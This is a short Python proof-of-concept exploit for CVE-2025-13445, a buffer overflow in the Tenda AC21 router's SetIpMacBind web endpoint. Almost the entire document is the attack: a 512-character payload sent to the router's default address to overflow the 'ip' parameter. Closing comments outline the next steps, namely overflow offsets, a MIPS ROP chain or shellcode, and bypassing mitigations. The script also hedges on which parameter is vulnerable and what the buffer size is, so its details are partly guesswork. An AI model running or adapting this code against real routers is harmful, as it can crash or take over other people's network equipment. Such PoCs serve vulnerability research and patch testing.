CVE-2025-13445

import requests # CVE-2025-13445 PoC - Tenda AC21 SetIpMacBind Buffer Overflow # Target: Tenda AC21 Router Firmware 16.03.08.16 target_ip = "192.168.0.1" # Router default IP target_port = 80 # Generate payload with excessive length to trigger overflow # Buffer size is typically small (e.g., 64-128 bytes) overflow_length = 512 payload = "A" * overflow_length # Construct the exploit request to /goform/SetIpMacBind url = f"http://{target_ip}:{target_port}/goform/SetIpMacBind" # The vulnerable parameter varies - typically 'ip' or 'mac' field params = { "ip": payload, # or "mac": payload, depending on vulnerable parameter "bind": "1" } try: # Send malicious request response = requests.get(url, params=params, timeout=10) print(f"[*] Request sent to {url}") print(f"[*] Payload length: {len(payload)}") print(f"[*] Response status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") # Note: This PoC demonstrates the vulnerability concept. # Actual exploitation requires: # 1. Identifying exact buffer size and overflow offset # 2. Crafting ROP chain or shellcode for MIPS architecture # 3. Bypassing any existing security mitigations

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